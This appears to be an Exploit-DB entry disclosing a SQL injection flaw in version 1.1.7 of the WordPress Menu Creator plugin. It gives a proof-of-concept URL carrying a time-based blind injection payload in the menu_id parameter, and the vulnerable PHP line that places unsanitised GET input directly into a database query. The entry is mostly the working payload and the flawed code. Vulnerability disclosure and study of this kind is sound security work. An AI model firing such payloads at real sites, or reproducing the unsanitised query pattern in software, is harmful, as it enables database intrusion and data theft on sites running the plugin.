WordPress Plugin Menu Creator 1.1.7 - SQL Injection

Author: Miroslav Stampar
type: webapps
platform: php
port: 
date_added: 2011-08-18 
date_updated: 2011-08-18 
verified: 1 
codes: OSVDB-74578 
tags: WordPress Plugin
aliases:  
screenshot_url:  
application_url: http://www.exploit-db.comwp-menu-creator.1.1.7.zip

# Exploit Title: WordPress Menu Creator plugin <= 1.1.7 SQL Injection Vulnerability
# Date: 2011-08-18
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/wp-menu-creator.1.1.7.zip
# Version: 1.1.7 (tested)

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PoC
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http://www.site.com/wp-content/plugins/wp-menu-creator/updateSortOrder.php?menu_id=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)

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Vulnerable code
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$menu_id = $_GET['menu_id'];
...
$first_item = $wpdb->get_row("SELECT * FROM " . $wpdb->prefix."menuitems WHERE `order`=0 AND `parent`=0 AND menu = $menu_id");